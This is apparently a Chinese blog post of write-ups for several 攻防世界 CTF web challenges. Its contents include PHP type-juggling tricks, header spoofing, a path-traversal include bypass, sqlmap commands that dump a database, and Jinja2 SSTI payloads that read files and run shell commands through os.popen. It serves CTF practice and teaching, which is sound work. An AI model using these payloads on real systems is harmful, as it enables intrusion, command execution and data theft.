攻防世界 部分writeup

1.simple_php

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

说明:参数a=0且a为真才能得到半个flag.

is_numeric() 函数用于检测变量是否为数字或数字字符串。如果b是数字 则退出

说明:b要求大于1234才能得到另外半个flag.

条件2要求b不为数字,条件3要求大于1234,此问题涉及到php弱类型比较。(可以上网搜搜)
在本题中弱类型比较时,1234=1234a。所以b=1235a时既不为数字同时也大于1234.

flag: /index.php?a="0"&b=1235a

可参考:https://blog.csdn.net/qq_40993864/article/details/98990191

2.xff_referer

X老师告诉小宁其实xff和referer是可以伪造的。
X-Forwarded-For: 源ip
Referer:表示一个来源
X-Forwarded-For:123.123.123.123
Referer:https://www.google.com

3.backup

index.php的备份文件名是
index.phps
index.php-bak
index.php.bak
index.php3
index.php4
index.php5
index.php~

4.warmup

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file']) && is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

https://blog.csdn.net/qq_42016346/article/details/104199710

flag: ?file=hint.php?/../../../../../../ffffllllaaaagggg

5.newscenter

1.获取所有的数据库
python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –dbs -v 2

2.获取指定数据库中的所有表

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –tables -D news -v 2

3.获取指定数据库名中指定表的字段

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –columns -D news -T secret_table -v 2

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –columns -D news -T news -v 2

4.获取指定数据库名中指定表中指定字段的数据

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –dump -D news -T secret_table -C “fl4g,id” -v 2

快速方法 查看所有表中列名,列值

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt -D news --dump

6.NaNNaNNaNNaN-Batman

js乱码问题,可将eval函数改成alert 可看到js代码

打开原有文件,后缀改为html,在console界面输入var关键代码即可获得

7.Simple_SSTI_1

You know, in the flask, We often set a secret_key variable

?flag={{config.SECRET_KEY}}

SSTI模板注入

https://www.cnblogs.com/chalan630/p/12578418.html#四-tplmap

8.Simple_SSTI_2

http://114.67.246.176:10777/?flag={{3123}}

报错发现是python3 flash模板注入。网上搜索payload

文件读取

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

命令执行

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

使用ls命令读取文件

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls').read()") }}{% endif %}{% endfor %}

cat flag查看flag

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('cat flag').read()") }}{% endif %}{% endfor %}

看源码方式,右键view resource。如果是图片,开发者工具查看elements

9.web8文件包含

<?php
    include "flag.php"; //flag在flag.php里
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

$_REQUEST[]支持det、post两种方式发送过来的请求,很明显接收了hello参数的值
var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值;数组将递归展开值,通过缩进显示其结构
eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
show_source() 函数对文件进行语法高亮显示,是 highlight_file() 的别名

?hello=show_source("flag.php")

$args(可变变量)

http://localhost:63343/test/3.php?$args(highlight_file("flag1.php"))

上一篇:php的接口,抽象类,trait(转载,合并)


下一篇:【windows核心编程】系统消息与自定义钩子(Hook)使用